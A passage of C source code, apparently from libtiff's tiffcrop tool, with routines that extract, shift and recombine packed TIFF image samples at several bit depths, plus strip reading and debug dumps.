(src_bit); if (ready_bits < 16) /* add another bps bits to the buffer */ { bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); } ready_bits += bps; } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted24bits */ static int extractContigSamplesShifted32bits (uint8 *in, uint8 *out, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, tsample_t count, uint32 start, uint32 end, int shift) { int ready_bits = 0, sindex = 0 /*, shift_width = 0 */; uint32 col, src_byte, src_bit, bit_offset; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; uint8 *src = in; uint8 *dst = out; if ((in == NULL) || (out == NULL)) { TIFFError("extractContigSamplesShifted32bits","Invalid input or output buffer"); return (1); } if ((start > end) || (start > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid start column value %d ignored", start); start = 0; } if ((end == 0) || (end > cols)) { TIFFError ("extractContigSamplesShifted32bits", "Invalid end column value %d ignored", end); end = cols; } /* shift_width = ((bps + 7) / 8) + 1; */ ready_bits = shift; maskbits = (uint64)-1 >> ( 64 - bps); for (col = start; col < end; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps * spp; for (sindex = sample; (sindex < spp) && (sindex < (sample + count)); sindex++) { if (sindex == 0) { src_byte = bit_offset / 8; src_bit = bit_offset % 8; } else { src_byte = (bit_offset + (sindex * bps)) / 8; src_bit = (bit_offset + (sindex * bps)) % 8; } src = in + src_byte; matchbits = maskbits << (64 - src_bit - bps); if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; if ((col == start) && (sindex == sample)) buff2 = buff3 & ((uint64)-1) << (32 - shift); buff1 = (buff3 & matchbits) << (src_bit); if (ready_bits < 32) { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); } else /* If we have a full buffer's worth, write it out */ { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); } ready_bits += bps; } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } return (0); } /* end extractContigSamplesShifted32bits */ static int extractContigSamplesToBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, tsample_t sample, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row, first_col = 0; uint32 dst_rowsize, dst_offset; tsample_t count = 1; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } src_rowsize = ((bps * spp * cols) + 7) / 8; dst_rowsize = ((bps * cols) + 7) / 8; if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, first_col, cols)) return (1); break; default: TIFFError ("extractContigSamplesToBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToBuffer */ static int extractContigSamplesToTileBuffer(uint8 *out, uint8 *in, uint32 rows, uint32 cols, uint32 imagewidth, uint32 tilewidth, tsample_t sample, uint16 count, uint16 spp, uint16 bps, struct dump_opts *dump) { int shift_width, bytes_per_sample, bytes_per_pixel; uint32 src_rowsize, src_offset, row; uint32 dst_rowsize, dst_offset; uint8 *src, *dst; bytes_per_sample = (bps + 7) / 8; bytes_per_pixel = ((bps * spp) + 7) / 8; if ((bps % 8) == 0) shift_width = 0; else { if (bytes_per_pixel < (bytes_per_sample + 1)) shift_width = bytes_per_pixel; else shift_width = bytes_per_sample + 1; } if ((dump->outfile != NULL) && (dump->level == 4)) { dump_info (dump->outfile, dump->format, "extractContigSamplesToTileBuffer", "Sample %d, %d rows", sample + 1, rows + 1); } src_rowsize = ((bps * spp * imagewidth) + 7) / 8; dst_rowsize = ((bps * tilewidth * count) + 7) / 8; for (row = 0; row < rows; row++) { src_offset = row * src_rowsize; dst_offset = row * dst_rowsize; src = in + src_offset; dst = out + dst_offset; /* pack the data into the scanline */ switch (shift_width) { case 0: if (extractContigSamplesBytes (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 1: if (bps == 1) { if (extractContigSamples8bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; } else if (extractContigSamples16bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 2: if (extractContigSamples24bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; case 3: case 4: case 5: if (extractContigSamples32bits (src, dst, cols, sample, spp, bps, count, 0, cols)) return (1); break; default: TIFFError ("extractContigSamplesToTileBuffer", "Unsupported bit depth: %d", bps); return (1); } if ((dump->outfile != NULL) && (dump->level == 4)) dump_buffer(dump->outfile, dump->format, 1, dst_rowsize, row, dst); } return (0); } /* end extractContigSamplesToTileBuffer */ static int readContigStripsIntoBuffer (TIFF* in, uint8* buf) { uint8* bufp = buf; int32 bytes_read = 0; uint16 strip, nstrips = TIFFNumberOfStrips(in); uint32 stripsize = TIFFStripSize(in); uint32 rows = 0; uint32 rps = TIFFGetFieldDefaulted(in, TIFFTAG_ROWSPERSTRIP, &rps); tsize_t scanline_size = TIFFScanlineSize(in); if (scanline_size == 0) { TIFFError("", "TIFF scanline size is zero!"); return 0; } for (strip = 0; strip < nstrips; strip++) { bytes_read = TIFFReadEncodedStrip (in, strip, bufp, -1); rows = bytes_read / scanline_size; if ((strip < (nstrips - 1)) && (bytes_read != (int32)stripsize)) TIFFError("", "Strip %d: read %lu bytes, strip size %lu", (int)strip + 1, (unsigned long) bytes_read, (unsigned long)stripsize); if (bytes_read < 0 && !ignore) { TIFFError("", "Error reading strip %lu after %lu rows", (unsigned long) strip, (unsigned long)rows); return 0; } bufp += bytes_read; } return 1; } /* end readContigStripsIntoBuffer */ static int combineSeparateSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, row_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * spp * cols) + 7) / 8; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); row_offset = row * src_rowsize; for (col = 0; col < cols; col++) { col_offset = row_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); src += bytes_per_sample; dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamplesBytes */ static int combineSeparateSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; /* int bytes_per_sample = 0; */ uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples8bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples8bits */ static int combineSeparateSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples16bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples16bits */ static int combineSeparateSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0 */; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples24bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint32)-1 >> ( 32 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (32 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; else buff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 16) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 16); *dst++ = bytebuff2; ready_bits -= 16; /* shift in new bits */ buff2 = ((buff2 << 16) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ while (ready_bits > 0) { bytebuff1 = (buff2 >> 24); *dst++ = bytebuff1; buff2 = (buff2 << 8); bytebuff2 = bytebuff1; ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples24bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateSamples24bits */ static int combineSeparateSamples32bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0 /*, bytes_per_sample = 0, shift_width = 0 */; uint32 src_rowsize, dst_rowsize, bit_offset, src_offset; uint32 src_byte = 0, src_bit = 0; uint32 row, col; uint32 longbuff1 = 0, longbuff2 = 0; uint64 maskbits = 0, matchbits = 0; uint64 buff1 = 0, buff2 = 0, buff3 = 0; uint8 bytebuff1 = 0, bytebuff2 = 0, bytebuff3 = 0, bytebuff4 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateSamples32bits","Invalid input or output buffer"); return (1); } /* bytes_per_sample = (bps + 7) / 8; */ src_rowsize = ((bps * cols) + 7) / 8; dst_rowsize = ((bps * cols * spp) + 7) / 8; maskbits = (uint64)-1 >> ( 64 - bps); /* shift_width = ((bps + 7) / 8) + 1; */ for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (64 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) { longbuff1 = (src[0] << 24) | (src[1] << 16) | (src[2] << 8) | src[3]; longbuff2 = longbuff1; } else { longbuff1 = (src[3] << 24) | (src[2] << 16) | (src[1] << 8) | src[0]; longbuff2 = longbuff1; } buff3 = ((uint64)longbuff1 << 32) | longbuff2; buff1 = (buff3 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 32) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; bytebuff2 = (buff2 >> 48); *dst++ = bytebuff2; bytebuff3 = (buff2 >> 40); *dst++ = bytebuff3; bytebuff4 = (buff2 >> 32); *dst++ = bytebuff4; ready_bits -= 32; /* shift in new bits */ buff2 = ((buff2 << 32) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff1 = bytebuff2 = bytebuff3 = bytebuff4 = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Sample %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_wide (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 8); dump_wide (dumpfile, format, "Buff1 bits ", buff1); dump_wide (dumpfile, format, "Buff2 bits ", buff2); dump_info (dumpfile, format, "", "Ready bits: %d, %s", ready_bits, action); } } } while (ready_bits > 0) { bytebuff1 = (buff2 >> 56); *dst++ = bytebuff1; buff2 = (buff2 << 8); ready_bits -= 8; } if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_long (dumpfile, format, "Match bits ", matchbits); dump_data (dumpfile, format, "Src bits ", src, 4); dump_long (dumpfile, format, "Buff1 bits ", buff1); dump_long (dumpfile, format, "Buff2 bits ", buff2); dump_byte (dumpfile, format, "Write bits1", bytebuff1); dump_byte (dumpfile, format, "Write bits2", bytebuff2); dump_info (dumpfile, format, "", "Ready bits: %2d", ready_bits); } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateSamples32bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out); } } return (0); } /* end combineSeparateSamples32bits */ static int combineSeparateTileSamplesBytes (unsigned char *srcbuffs[], unsigned char *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int i, bytes_per_sample; uint32 row, col, col_offset, src_rowsize, dst_rowsize, src_offset; unsigned char *src; unsigned char *dst; tsample_t s; src = srcbuffs[0]; dst = out; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamplesBytes","Invalid buffer address"); return (1); } bytes_per_sample = (bps + 7) / 8; src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = imagewidth * bytes_per_sample * spp; for (row = 0; row < rows; row++) { if ((dumpfile != NULL) && (level == 2)) { for (s = 0; s < spp; s++) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Input data, Sample %d", s); dump_buffer(dumpfile, format, 1, cols, row, srcbuffs[s] + (row * src_rowsize)); } } dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; #ifdef DEVELMODE TIFFError("","Tile row %4d, Src offset %6d Dst offset %6d", row, src_offset, dst - out); #endif for (col = 0; col < cols; col++) { col_offset = src_offset + (col * (bps / 8)); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = srcbuffs[s] + col_offset; for (i = 0; i < bytes_per_sample; i++) *(dst + i) = *(src + i); dst += bytes_per_sample; } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamplesBytes","Output data, combined samples"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamplesBytes */ static int combineSeparateTileSamples8bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize, src_offset; uint32 bit_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint8 maskbits = 0, matchbits = 0; uint8 buff1 = 0, buff2 = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[32]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples8bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint8)-1 >> ( 8 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (8 - src_bit - bps); /* load up next sample from each plane */ for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; buff1 = ((*src) & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { *dst++ = buff2; buff2 = buff1; ready_bits -= 8; strcpy (action, "Flush"); } else { buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Match bits", matchbits); dump_byte (dumpfile, format, "Src bits", *src); dump_byte (dumpfile, format, "Buff1 bits", buff1); dump_byte (dumpfile, format, "Buff2 bits", buff2); dump_info (dumpfile, format, "","%s", action); } } } if (ready_bits > 0) { buff1 = (buff2 & ((unsigned int)255 << (8 - ready_bits))); *dst++ = buff1; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", buff1); } } if ((dumpfile != NULL) && (level >= 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples8bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples8bits */ static int combineSeparateTileSamples16bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint16 maskbits = 0, matchbits = 0; uint16 buff1 = 0, buff2 = 0; uint8 bytebuff = 0; tsample_t s; unsigned char *src = in[0]; unsigned char *dst = out; char action[8]; if ((src == NULL) || (dst == NULL)) { TIFFError("combineSeparateTileSamples16bits","Invalid input or output buffer"); return (1); } src_rowsize = ((bps * tw) + 7) / 8; dst_rowsize = ((imagewidth * bps * spp) + 7) / 8; maskbits = (uint16)-1 >> (16 - bps); for (row = 0; row < rows; row++) { ready_bits = 0; buff1 = buff2 = 0; dst = out + (row * dst_rowsize); src_offset = row * src_rowsize; for (col = 0; col < cols; col++) { /* Compute src byte(s) and bits within byte(s) */ bit_offset = col * bps; src_byte = bit_offset / 8; src_bit = bit_offset % 8; matchbits = maskbits << (16 - src_bit - bps); for (s = 0; (s < spp) && (s < MAX_SAMPLES); s++) { src = in[s] + src_offset + src_byte; if (little_endian) buff1 = (src[0] << 8) | src[1]; else buff1 = (src[1] << 8) | src[0]; buff1 = (buff1 & matchbits) << (src_bit); /* If we have a full buffer's worth, write it out */ if (ready_bits >= 8) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; ready_bits -= 8; /* shift in new bits */ buff2 = ((buff2 << 8) | (buff1 >> ready_bits)); strcpy (action, "Flush"); } else { /* add another bps bits to the buffer */ bytebuff = 0; buff2 = (buff2 | (buff1 >> ready_bits)); strcpy (action, "Update"); } ready_bits += bps; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Samples %d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, s, src_byte, src_bit, dst - out); dump_short (dumpfile, format, "Match bits", matchbits); dump_data (dumpfile, format, "Src bits", src, 2); dump_short (dumpfile, format, "Buff1 bits", buff1); dump_short (dumpfile, format, "Buff2 bits", buff2); dump_byte (dumpfile, format, "Write byte", bytebuff); dump_info (dumpfile, format, "","Ready bits: %d, %s", ready_bits, action); } } } /* catch any trailing bits at the end of the line */ if (ready_bits > 0) { bytebuff = (buff2 >> 8); *dst++ = bytebuff; if ((dumpfile != NULL) && (level == 3)) { dump_info (dumpfile, format, "", "Row %3d, Col %3d, Src byte offset %3d bit offset %2d Dst offset %3d", row + 1, col + 1, src_byte, src_bit, dst - out); dump_byte (dumpfile, format, "Final bits", bytebuff); } } if ((dumpfile != NULL) && (level == 2)) { dump_info (dumpfile, format, "combineSeparateTileSamples16bits","Output data"); dump_buffer(dumpfile, format, 1, dst_rowsize, row, out + (row * dst_rowsize)); } } return (0); } /* end combineSeparateTileSamples16bits */ static int combineSeparateTileSamples24bits (uint8 *in[], uint8 *out, uint32 cols, uint32 rows, uint32 imagewidth, uint32 tw, uint16 spp, uint16 bps, FILE *dumpfile, int format, int level) { int ready_bits = 0; uint32 src_rowsize, dst_rowsize; uint32 bit_offset, src_offset; uint32 row, col, src_byte = 0, src_bit = 0; uint32 maskbits = 0, matchbits = 0; uint32 buff1 = 0, buff2 = 0; 